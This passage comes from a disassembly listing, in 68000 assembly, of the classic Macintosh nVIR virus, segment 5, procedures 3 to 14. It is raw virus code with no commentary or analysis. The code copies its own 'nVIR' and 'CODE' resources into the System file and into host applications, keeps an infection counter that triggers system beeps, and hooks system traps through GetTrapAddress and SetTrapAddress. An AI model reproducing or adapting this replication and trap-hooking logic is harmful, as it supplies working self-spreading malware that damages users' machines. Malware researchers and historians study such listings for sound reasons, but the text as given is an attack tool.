  691. 0028:     MOVE.W    #$A9CC,-(A7)
  692. 002C:     JSR    locProc12
  693. 0030:     MOVE.L    (A7)+,D0
  694. 0032:     MOVEA.L    (A7)+,A0
  695. 0034:     MOVE.L    D0,$0002(A0)
  696. 0038:     MOVEA.L    (A4),A0
  697. 003A:     PEA    $0006(A0)
  698. 003E:     MOVE.W    #$A9CC,-(A7)
  699. 0042:     JSR    locProc13
  700. 0046: L0068    MOVEA.L    (A7)+,A4
  701. 0048:     UNLK    A6
  702. 004A:     MOVE.L    (A7)+,(A7)
  703. 004C:     RTS    
  704. 004E:     .WORD    $C94E,$5354,$414C,$4C54    ;[.NSTALLT]
  705. 0056:     .WORD    4,$6E56,$4952    ;[..nVIR..]
  706.  
  707. ;Seg 5 = nVIR ID# 7 proc 3 of 14 (local)
  708.  
  709. 0000: L007E    LINK    A6,#$FFD0
  710. 0004:     MOVEM.L    D5-D7/A4,-(A7)
  711. 0008:     MOVE.B    $0008(A6),D7
  712. 000C:     CLR.L    -(A7)
  713. 000E:     JSR    locProc5
  714. 0012:     MOVEA.L    (A7)+,A4
  715. 0014:     CLR.L    -(A7)
  716. 0016:     MOVE.L    $02A6,(A7)
  717. 001A:     JSR    locProc6
  718. 001E:     MOVEQ    $01,D0
  719. 0020:     CMP.B    D7,D0
  720. 0022:     SEQ    D0
  721. 0024:     TST.L    $000A(A6)
  722. 0028:     SEQ    D1
  723. 002A:     AND.B    D1,D0
  724. 002C:     BEQ.S    L00B6
  725. 002E:     MOVE.W    #$001E,-(A7)
  726. 0032:     _SysBeep    
  727. 0034:     BRA    L0560
  728. 0038: L00B6    CLR.W    -(A7)
  729. 003A:     _CurResFile    
  730. 003C:     MOVE.W    (A7)+,D6
  731. 003E:     CLR.W    -(A7)
  732. 0040:     _UseResFile    
  733. 0042:     CLR.B    D5
  734. 0044:     MOVE.B    #$01,-(A7)
  735. 0048:     _SetResLoad    
  736. 004A:     CLR.L    -(A7)
  737. 004C:     MOVE.L    L058C,-(A7)
  738. 0050:     CLR.W    -(A7)
  739. 0052:     _GetResource    
  740. 0054:     MOVE.L    (A7)+,$FFDC(A6)
  741. 0058:     BNE.S    L010E
  742. 005A:     CLR.L    -(A7)
  743. 005C:     MOVEQ    $02,D0
  744. 005E:     MOVE.L    D0,-(A7)
  745. 0060:     JSR    locProc7
  746. 0064:     MOVE.L    (A7)+,$FFDC(A6)
  747. 0068:     BEQ    L0560
  748. 006C:     MOVEA.L    $FFDC(A6),A0
  749. 0070:     MOVEA.L    (A0),A0
  750. 0072:     MOVE.W    #$03E8,(A0)
  751. 0076:     MOVE.L    $FFDC(A6),-(A7)
  752. 007A:     MOVE.L    L058C,-(A7)
  753. 007E:     CLR.W    -(A7)
  754. 0080:     PEA    L058A
  755. 0084:     _AddResource    
  756. 0086:     CLR.W    -(A7)
  757. 0088:     _ResError    
  758. 008A:     TST.W    (A7)+
  759. 008C:     BNE    L0560
  760. 0090: L010E    MOVEA.L    $FFDC(A6),A0
  761. 0094:     MOVEA.L    (A0),A0
  762. 0096:     TST.W    (A0)
  763. 0098:     BNE.S    L011C
  764. 009A:     MOVEQ    $01,D5
  765. 009C:     BRA.S    L0134
  766. 009E: L011C    MOVEA.L    $FFDC(A6),A0
  767. 00A2:     MOVEA.L    (A0),A0
  768. 00A4:     SUBQ.W    #1,(A0)
  769. 00A6:     MOVE.L    $FFDC(A6),-(A7)
  770. 00AA:     _ChangedResource    
  771. 00AC:     CLR.W    -(A7)
  772. 00AE:     _ResError    
  773. 00B0:     TST.W    (A7)+
  774. 00B2:     BNE    L0560
  775. 00B6: L0134    MOVE.W    D6,-(A7)
  776. 00B8:     _UseResFile    
  777. 00BA:     MOVE.L    A4,-(A7)
  778. 00BC:     JSR    locProc6
  779. 00C0:     MOVE.B    D5,-(A7)
  780. 00C2:     _SetResLoad    
  781. 00C4:     CLR.L    -(A7)
  782. 00C6:     MOVE.L    L058C,-(A7)
  783. 00CA:     MOVE.W    #$0006,-(A7)
  784. 00CE:     _GetResource    
  785. 00D0:     MOVE.L    (A7)+,$FFF4(A6)
  786. 00D4:     BEQ    L0560
  787. 00D8:     MOVE.B    D5,D0
  788. 00DA:     BEQ.S    L0162
  789. 00DC:     PEA    $FFD0(A6)
  790. 00E0:     JSR    locProc14
  791. 00E4: L0162    MOVE.B    D5,D0
  792. 00E6:     BEQ.S    L01C8
  793. 00E8:     MOVEQ    $0F,D1
  794. 00EA:     AND.L    D1,$FFD0(A6)
  795. 00EE:     TST.L    D1
  796. 00F0:     SEQ    D1
  797. 00F2:     AND.B    D1,D0
  798. 00F4:     BEQ.S    L01C8
  799. 00F6:     CLR.L    -(A7)
  800. 00F8:     MOVEA.L    $FFF4(A6),A0
  801. 00FC:     MOVEA.L    (A0),A0
  802. 00FE:     MOVE.L    (A0),-(A7)
  803. 0100:     JSR    locProc7
  804. 0104:     MOVE.L    (A7)+,$FFFC(A6)
  805. 0108:     SNE    D0
  806. 010A:     TST.B    D0
  807. 010C:     BEQ.S    L01C8
  808. 010E:     MOVE.L    D0,-(A7)
  809. 0110:     CLR.W    -(A7)
  810. 0112:     MOVE.W    $0220,(A7)
  811. 0116:     MOVE.W    (A7)+,D1
  812. 0118:     MOVE.L    (A7)+,D0
  813. 011A:     TST.W    D1
  814. 011C:     SEQ    D1
  815. 011E:     AND.B    D1,D0
  816. 0120:     BEQ.S    L01C8
  817. 0122:     MOVE.L    $FFFC(A6),-(A7)
  818. 0126:     JSR    locProc8
  819. 012A:     MOVE.L    $FFF4(A6),-(A7)
  820. 012E:     JSR    locProc9
  821. 0132:     MOVE.B    D7,-(A7)
  822. 0134:     MOVEA.L    $FFF4(A6),A0
  823. 0138:     MOVE.L    (A0),D0
  824. 013A:     ADDQ.L    #4,D0
  825. 013C:     MOVE.L    D0,-(A7)
  826. 013E:     JSR    locProc4
  827. 0142:     MOVE.L    $FFF4(A6),-(A7)
  828. 0146:     JSR    locProc10
  829. 014A: L01C8    CLR.W    -(A7)
  830. 014C:     _SetResLoad    
  831. 014E:     CLR.L    -(A7)
  832. 0150:     MOVE.L    $02A6,(A7)
  833. 0154:     JSR    locProc6
  834. 0158:     MOVE.B    D7,D0
  835. 015A:     EXT.W    D0
  836. 015C:     SUBQ.W    #1,D0
  837. 015E:     BEQ.S    L01EC
  838. 0160:     SUBQ.W    #1,D0
  839. 0162:     BEQ    L0274
  840. 0166:     SUBQ.W    #1,D0
  841. 0168:     BEQ.S    L0230
  842. 016A:     BRA    L0284
  843. 016E: L01EC    CLR.L    -(A7)
  844. 0170:     MOVE.L    L0590,-(A7)
  845. 0174:     MOVE.W    #$0020,-(A7)
  846. 0178:     _GetResource    
  847. 017A:     MOVE.L    (A7)+,$FFEC(A6)
  848. 017E:     BNE    L0560
  849. 0182:     MOVE.L    $FFEC(A6),-(A7)
  850. 0186:     _ReleaseResource    
  851. 0188:     CLR.L    -(A7)
  852. 018A:     MOVE.L    L058C,-(A7)
  853. 018E:     MOVE.W    #$0003,-(A7)
  854. 0192:     _GetResource    
  855. 0194:     MOVE.L    (A7)+,$FFE8(A6)
  856. 0198:     BEQ    L0560
  857. 019C:     CLR.L    -(A7)
  858. 019E:     MOVE.L    L0586,-(A7)
  859. 01A2:     MOVE.W    #$0100,-(A7)
  860. 01A6:     _GetResource    
  861. 01A8:     MOVE.L    (A7)+,$FFEC(A6)
  862. 01AC:     BEQ    L0560
  863. 01B0:     BRA.S    L0294
  864. 01B2: L0230    CLR.L    -(A7)
  865. 01B4:     MOVE.L    L0586,-(A7)
  866. 01B8:     MOVE.W    #$0100,-(A7)
  867. 01BC:     _GetResource    
  868. 01BE:     MOVE.L    (A7)+,$FFE8(A6)
  869. 01C2:     BNE    L0560
  870. 01C6:     MOVE.L    $FFE8(A6),-(A7)
  871. 01CA:     _ReleaseResource    
  872. 01CC:     CLR.L    -(A7)
  873. 01CE:     MOVE.L    L0590,-(A7)
  874. 01D2:     MOVE.W    #$0020,-(A7)
  875. 01D6:     _GetResource    
  876. 01D8:     MOVE.L    (A7)+,$FFE8(A6)
  877. 01DC:     BEQ    L0560
  878. 01E0:     CLR.L    -(A7)
  879. 01E2:     MOVE.L    L058C,-(A7)
  880. 01E6:     MOVE.W    #$0004,-(A7)
  881. 01EA:     _GetResource    
  882. 01EC:     MOVE.L    (A7)+,$FFEC(A6)
  883. 01F0:     BEQ    L0560
  884. 01F4:     BRA.S    L0294
  885. 01F6: L0274    MOVE.B    #$01,-(A7)
  886. 01FA:     _SetResLoad    
  887. 01FC:     MOVE.L    A6,-(A7)
  888. 01FE:     JSR    locProc2
  889. 0202:     BRA    L0560
  890. 0206: L0284    MOVE.W    #$001E,-(A7)
  891. 020A:     _SysBeep    
  892. 020C:     MOVE.W    #$001E,-(A7)
  893. 0210:     _SysBeep    
  894. 0212:     BRA    L0560
  895. 0216: L0294    CLR.L    -(A7)
  896. 0218:     MOVE.L    L058C,-(A7)
  897. 021C:     MOVE.W    #$0001,-(A7)
  898. 0220:     _GetResource    
  899. 0222:     MOVE.L    (A7)+,$FFE0(A6)
  900. 0226:     BEQ    L0560
  901. 022A:     CLR.L    -(A7)
  902. 022C:     MOVE.L    L058C,-(A7)
  903. 0230:     MOVE.W    #$0007,-(A7)
  904. 0234:     _GetResource    
  905. 0236:     MOVE.L    (A7)+,$FFF8(A6)
  906. 023A:     BEQ    L0560
  907. 023E:     MOVEQ    $01,D0
  908. 0240:     CMP.B    D7,D0
  909. 0242:     BNE.S    L02D6
  910. 0244:     CLR.L    -(A7)
  911. 0246:     MOVE.L    L058C,-(A7)
  912. 024A:     MOVE.W    #$0002,-(A7)
  913. 024E:     _GetResource    
  914. 0250:     MOVE.L    (A7)+,$FFE4(A6)
  915. 0254:     BEQ    L0560
  916. 0258: L02D6    MOVEQ    $03,D0
  917. 025A:     CMP.B    D7,D0
  918. 025C:     BNE.S    L02F0
  919. 025E:     CLR.L    -(A7)
  920. 0260:     MOVE.L    L058C,-(A7)
  921. 0264:     MOVE.W    #$0005,-(A7)
  922. 0268:     _GetResource    
  923. 026A:     MOVE.L    (A7)+,$FFF0(A6)
  924. 026E:     BEQ    L0560
  925. 0272: L02F0    MOVEQ    $03,D0
  926. 0274:     CMP.B    D7,D0
  927. 0276:     BNE.S    L02FC
  928. 0278:     MOVE.W    D6,-(A7)
  929. 027A:     _UseResFile    
  930. 027C:     BRA.S    L0300
  931. 027E: L02FC    CLR.W    -(A7)
  932. 0280:     _UseResFile    
  933. 0282: L0300    MOVE.B    #$01,-(A7)
  934. 0286:     _SetResLoad    
  935. 0288:     MOVE.L    $FFE0(A6),-(A7)
  936. 028C:     _LoadResource    
  937. 028E:     CLR.W    -(A7)
  938. 0290:     _ResError    
  939. 0292:     TST.W    (A7)+
  940. 0294:     BNE    L0560
  941. 0298:     MOVE.L    $FFE0(A6),-(A7)
  942. 029C:     _DetachResource    
  943. 029E:     MOVE.L    $FFE0(A6),-(A7)
  944. 02A2:     MOVE.L    L058C,-(A7)
  945. 02A6:     MOVE.W    #$0001,-(A7)
  946. 02AA:     PEA    L058A
  947. 02AE:     _AddResource    
  948. 02B0:     CLR.W    -(A7)
  949. 02B2:     _ResError    
  950. 02B4:     TST.W    (A7)+
  951. 02B6:     BNE    L0560
  952. 02BA:     MOVEQ    $03,D0
  953. 02BC:     CMP.B    D7,D0
  954. 02BE:     BNE.S    L0392
  955. 02C0:     CLR.L    -(A7)
  956. 02C2:     MOVE.L    L0586,-(A7)
  957. 02C6:     CLR.W    -(A7)
  958. 02C8:     _GetResource    
  959. 02CA:     MOVE.L    (A7)+,$FFFC(A6)
  960. 02CE:     BEQ    L0560
  961. 02D2:     CLR.L    -(A7)
  962. 02D4:     MOVEQ    $08,D0
  963. 02D6:     MOVE.L    D0,-(A7)
  964. 02D8:     JSR    locProc7
  965. 02DC:     MOVE.L    (A7)+,$FFE4(A6)
  966. 02E0:     BEQ    L0560
  967. 02E4:     MOVEA.L    $FFFC(A6),A0
  968. 02E8:     MOVEA.L    (A0),A0
  969. 02EA:     MOVEA.L    $FFE4(A6),A1
  970. 02EE:     MOVEA.L    (A1),A1
  971. 02F0:     LEA    $0010(A0),A0
  972. 02F4:     MOVE.L    (A0)+,(A1)+
  973. 02F6:     MOVE.L    (A0)+,(A1)+
  974. 02F8:     MOVE.L    $FFE4(A6),-(A7)
  975. 02FC:     MOVE.L    L058C,-(A7)
  976. 0300:     MOVE.W    #$0002,-(A7)
  977. 0304:     PEA    L058A
  978. 0308:     _AddResource    
  979. 030A:     CLR.W    -(A7)
  980. 030C:     _ResError    
  981. 030E:     TST.W    (A7)+
  982. 0310:     BNE    L0560
  983. 0314: L0392    MOVE.L    $FFE8(A6),-(A7)
  984. 0318:     _LoadResource    
  985. 031A:     CLR.W    -(A7)
  986. 031C:     _ResError    
  987. 031E:     TST.W    (A7)+
  988. 0320:     BNE    L0560
  989. 0324:     MOVE.L    $FFE8(A6),-(A7)
  990. 0328:     _DetachResource    
  991. 032A:     MOVEQ    $03,D0
  992. 032C:     CMP.B    D7,D0
  993. 032E:     BNE.S    L03C2
  994. 0330:     MOVE.L    $FFE8(A6),-(A7)
  995. 0334:     MOVE.L    L058C,-(A7)
  996. 0338:     MOVE.W    #$0003,-(A7)
  997. 033C:     PEA    L058A
  998. 0340:     _AddResource    
  999. 0342:     BRA.S    L03FE
  1000. 0344: L03C2    MOVE.L    $FFE8(A6),-(A7)
  1001. 0348:     MOVE.L    L0590,-(A7)
  1002. 034C:     MOVE.W    #$0020,-(A7)
  1003. 0350:     PEA    L058A
  1004. 0354:     _AddResource    
  1005. 0356:     CLR.W    -(A7)
  1006. 0358:     _ResError    
  1007. 035A:     TST.W    (A7)+
  1008. 035C:     BNE    L0560
  1009. 0360:     MOVE.L    $FFE8(A6),-(A7)
  1010. 0364:     MOVEQ    $00,D0
  1011. 0366:     MOVE.L    D0,-(A7)
  1012. 0368:     CLR.W    -(A7)
  1013. 036A:     MOVE.L    $FFE8(A6),-(A7)
  1014. 036E:     _GetResAttrs    
  1015. 0370:     MOVE.W    (A7)+,D1
  1016. 0372:     MOVE.L    (A7)+,D0
  1017. 0374:     MOVE.W    D1,D0
  1018. 0376:     OR.L    #$00000010,D0
  1019. 037C:     MOVE.W    D0,-(A7)
  1020. 037E:     _SetResAttrs    
  1021. 0380: L03FE    CLR.W    -(A7)
  1022. 0382:     _ResError    
  1023. 0384:     TST.W    (A7)+
  1024. 0386:     BNE    L0560
  1025. 038A:     MOVE.L    $FFEC(A6),-(A7)
  1026. 038E:     _LoadResource    
  1027. 0390:     CLR.W    -(A7)
  1028. 0392:     _ResError    
  1029. 0394:     TST.W    (A7)+
  1030. 0396:     BNE    L0560
  1031. 039A:     MOVE.L    $FFEC(A6),-(A7)
  1032. 039E:     _DetachResource    
  1033. 03A0:     MOVEQ    $03,D0
  1034. 03A2:     CMP.B    D7,D0
  1035. 03A4:     BNE.S    L0438
  1036. 03A6:     MOVE.L    $FFEC(A6),-(A7)
  1037. 03AA:     MOVE.L    L0586,-(A7)
  1038. 03AE:     MOVE.W    #$0100,-(A7)
  1039. 03B2:     PEA    L058A
  1040. 03B6:     _AddResource    
  1041. 03B8:     BRA.S    L044A
  1042. 03BA: L0438    MOVE.L    $FFEC(A6),-(A7)
  1043. 03BE:     MOVE.L    L058C,-(A7)
  1044. 03C2:     MOVE.W    #$0004,-(A7)
  1045. 03C6:     PEA    L058A
  1046. 03CA:     _AddResource    
  1047. 03CC: L044A    CLR.W    -(A7)
  1048. 03CE:     _ResError    
  1049. 03D0:     TST.W    (A7)+
  1050. 03D2:     BNE    L0560
  1051. 03D6:     MOVEQ    $01,D0
  1052. 03D8:     CMP.B    D7,D0
  1053. 03DA:     BNE.S    L04BC
  1054. 03DC:     CLR.L    -(A7)
  1055. 03DE:     MOVEQ    $08,D0
  1056. 03E0:     MOVE.L    D0,-(A7)
  1057. 03E2:     JSR    locProc7
  1058. 03E6:     MOVE.L    (A7)+,$FFF0(A6)
  1059. 03EA:     BEQ    L0560
  1060. 03EE:     MOVE.W    D6,-(A7)
  1061. 03F0:     _UseResFile    
  1062. 03F2:     CLR.L    -(A7)
  1063. 03F4:     MOVE.L    L0586,-(A7)
  1064. 03F8:     CLR.W    -(A7)
  1065. 03FA:     _GetResource    
  1066. 03FC:     MOVE.L    (A7)+,$FFFC(A6)
  1067. 0400:     BEQ    L0560
  1068. 0404:     CLR.W    -(A7)
  1069. 0406:     _UseResFile    
  1070. 0408:     MOVEA.L    $FFFC(A6),A0
  1071. 040C:     MOVEA.L    (A0),A0
  1072. 040E:     MOVEA.L    $FFF0(A6),A1
  1073. 0412:     MOVEA.L    (A1),A1
  1074. 0414:     LEA    $0010(A0),A0
  1075. 0418:     MOVE.L    (A0)+,(A1)+
  1076. 041A:     MOVE.L    (A0)+,(A1)+
  1077. 041C:     MOVE.L    $FFF0(A6),-(A7)
  1078. 0420:     MOVE.L    L058C,-(A7)
  1079. 0424:     MOVE.W    #$0005,-(A7)
  1080. 0428:     PEA    L058A
  1081. 042C:     _AddResource    
  1082. 042E:     CLR.W    -(A7)
  1083. 0430:     _ResError    
  1084. 0432:     TST.W    (A7)+
  1085. 0434:     BNE    L0560
  1086. 0438:     MOVE.L    $FFFC(A6),-(A7)
  1087. 043C:     _ReleaseResource    
  1088. 043E: L04BC    MOVE.L    $FFF4(A6),-(A7)
  1089. 0442:     _LoadResource    
  1090. 0444:     CLR.W    -(A7)
  1091. 0446:     _ResError    
  1092. 0448:     TST.W    (A7)+
  1093. 044A:     BNE    L0560
  1094. 044E:     MOVE.L    $FFF4(A6),-(A7)
  1095. 0452:     _DetachResource    
  1096. 0454:     MOVE.L    $FFF4(A6),-(A7)
  1097. 0458:     MOVE.L    L058C,-(A7)
  1098. 045C:     MOVE.W    #$0006,-(A7)
  1099. 0460:     PEA    L058A
  1100. 0464:     _AddResource    
  1101. 0466:     CLR.W    -(A7)
  1102. 0468:     _ResError    
  1103. 046A:     TST.W    (A7)+
  1104. 046C:     BNE.S    L0560
  1105. 046E:     MOVE.L    $FFF8(A6),-(A7)
  1106. 0472:     _LoadResource    
  1107. 0474:     CLR.W    -(A7)
  1108. 0476:     _ResError    
  1109. 0478:     TST.W    (A7)+
  1110. 047A:     BNE.S    L0560
  1111. 047C:     MOVE.L    $FFF8(A6),-(A7)
  1112. 0480:     _DetachResource    
  1113. 0482:     MOVE.L    $FFF8(A6),-(A7)
  1114. 0486:     MOVE.L    L058C,-(A7)
  1115. 048A:     MOVE.W    #$0007,-(A7)
  1116. 048E:     PEA    L058A
  1117. 0492:     _AddResource    
  1118. 0494:     CLR.W    -(A7)
  1119. 0496:     _ResError    
  1120. 0498:     TST.W    (A7)+
  1121. 049A:     BNE.S    L0560
  1122. 049C:     MOVEQ    $03,D0
  1123. 049E:     CMP.B    D7,D0
  1124. 04A0:     BNE.S    L0560
  1125. 04A2:     MOVE.L    $FFF0(A6),-(A7)
  1126. 04A6:     _LoadResource    
  1127. 04A8:     CLR.W    -(A7)
  1128. 04AA:     _ResError    
  1129. 04AC:     TST.W    (A7)+
  1130. 04AE:     BNE.S    L0560
  1131. 04B0:     MOVE.L    $FFF0(A6),-(A7)
  1132. 04B4:     JSR    locProc11
  1133. 04B8:     CLR.L    -(A7)
  1134. 04BA:     MOVE.L    L0586,-(A7)
  1135. 04BE:     CLR.W    -(A7)
  1136. 04C0:     _GetResource    
  1137. 04C2:     MOVE.L    (A7)+,$FFFC(A6)
  1138. 04C6:     BEQ.S    L0560
  1139. 04C8:     MOVEA.L    $FFF0(A6),A0
  1140. 04CC:     MOVEA.L    (A0),A0
  1141. 04CE:     MOVEA.L    $FFFC(A6),A1
  1142. 04D2:     MOVEA.L    (A1),A1
  1143. 04D4:     LEA    $0010(A1),A1
  1144. 04D8:     MOVE.L    (A0)+,(A1)+
  1145. 04DA:     MOVE.L    (A0)+,(A1)+
  1146. 04DC:     MOVE.L    $FFFC(A6),-(A7)
  1147. 04E0:     _ChangedResource    
  1148. 04E2: L0560    CLR.W    -(A7)
  1149. 04E4:     _CurResFile    
  1150. 04E6:     _UpdateResFile    
  1151. 04E8:     MOVE.W    D6,-(A7)
  1152. 04EA:     _UseResFile    
  1153. 04EC:     MOVE.L    A4,-(A7)
  1154. 04EE:     JSR    locProc6
  1155. 04F2:     MOVEM.L    (A7)+,D5-D7/A4
  1156. 04F6:     UNLK    A6
  1157. 04F8:     MOVEA.L    (A7)+,A0
  1158. 04FA:     ADDQ.W    #6,A7
  1159. 04FC:     JMP    (A0)
  1160. 04FE:     .WORD    $C94E,$5354,$2020,$2020    ;[.NST    ]
  1161. 0506:     .WORD    $E,$434F,$4445,0    ;[..CODE..]
  1162. 050E: L058C    .WORD    $6E56,$4952,$494E,$4954    ;[nVIRINIT]
  1163.  
  1164. ;Seg 5 = nVIR ID# 7 proc 4 of 14 (local)
  1165.  
  1166. 0000: L0594    MOVEA.L    (A7)+,A0
  1167. 0002:     MOVEA.L    (A7),A1
  1168. 0004:     MOVE.L    A0,(A7)
  1169. 0006:     JMP    (A1)
  1170.  
  1171. ;Seg 5 = nVIR ID# 7 proc 5 of 14 (local)
  1172.  
  1173. 0000: L059C    _GetZone    
  1174. 0002:     MOVE.L    A0,$0004(A7)
  1175. 0006:     JMP    L05BE
  1176.  
  1177. ;Seg 5 = nVIR ID# 7 proc 6 of 14 (local)
  1178.  
  1179. 0000: L05A6    MOVEA.L    (A7)+,A1
  1180. 0002:     MOVEA.L    (A7)+,A0
  1181. 0004:     _SetZone    
  1182. 0006:     JMP    L05BC
  1183. 000A:     MOVEA.L    (A7)+,A1
  1184. 000C:     MOVE.L    (A7)+,D0
  1185. 000E:     _CompactMem    
  1186. 0010:     MOVE.L    D0,(A7)
  1187. 0012:     NOP    
  1188. 0014:     MOVEQ    $00,D0
  1189. 0016: L05BC    MOVE.L    A1,-(A7)
  1190. 0018: L05BE    MOVE.W    D0,$0220
  1191. 001C:     RTS    
  1192. 001E:     .WORD    $7000,$60F6    ;[p.`.....]
  1193.  
  1194. ;Seg 5 = nVIR ID# 7 proc 7 of 14 (local)
  1195.  
  1196. 0000: L05C8    MOVEA.L    (A7)+,A1
  1197. 0002:     MOVE.L    (A7)+,D0
  1198. 0004:     _NewHandle    
  1199. 0006:     MOVE.L    A0,(A7)
  1200. 0008:     JMP    L05BC
  1201.  
  1202. ;Seg 5 = nVIR ID# 7 proc 8 of 14 (local)
  1203.  
  1204. 0000: L05D4    MOVEA.L    (A7)+,A1
  1205. 0002:     MOVEA.L    (A7)+,A0
  1206. 0004:     _DisposHandle    
  1207. 0006:     JMP    L05BC
  1208.  
  1209. ;Seg 5 = nVIR ID# 7 proc 9 of 14 (local)
  1210.  
  1211. 0000: L05DE    MOVEA.L    (A7)+,A1
  1212. 0002:     MOVEA.L    (A7)+,A0
  1213. 0004:     _HLock    
  1214. 0006:     JMP    L05BC
  1215.  
  1216. ;Seg 5 = nVIR ID# 7 proc 10 of 14 (local)
  1217.  
  1218. 0000: L05E8    MOVEA.L    (A7)+,A1
  1219. 0002:     MOVEA.L    (A7)+,A0
  1220. 0004:     _HUnLock    
  1221. 0006:     JMP    L05BC
  1222.  
  1223. ;Seg 5 = nVIR ID# 7 proc 11 of 14 (local)
  1224.  
  1225. 0000: L05F2    MOVEA.L    (A7)+,A1
  1226. 0002:     MOVEA.L    (A7)+,A0
  1227. 0004:     _HNoPurge    
  1228. 0006:     JMP    L05BC
  1229.  
  1230. ;Seg 5 = nVIR ID# 7 proc 12 of 14 (local)
  1231.  
  1232. 0000: L05FC    MOVEA.L    (A7)+,A1
  1233. 0002:     MOVE.W    (A7)+,D0
  1234. 0004:     _GetTrapAddress    
  1235. 0006:     MOVE.L    A0,(A7)
  1236. 0008:     JMP    (A1)
  1237.  
  1238. ;Seg 5 = nVIR ID# 7 proc 13 of 14 (local)
  1239.  
  1240. 0000: L0606    MOVEA.L    (A7)+,A1
  1241. 0002:     MOVE.W    (A7)+,D0
  1242. 0004:     MOVEA.L    (A7)+,A0
  1243. 0006:     _SetTrapAddress    
  1244. 0008:     JMP    (A1)
  1245.  
  1246. ;Seg 5 = nVIR ID# 7 proc 14 of 14 (local)
  1247.  
  1248. 0000: L0610    MOVEA.L    (A7)+,A1
  1249. 0002:     MOVEA.L    (A7)+,A0
  1250. 0004:     MOVE.L    $020C,(A0)
  1251. 0008:     JMP    (A1)
  1252.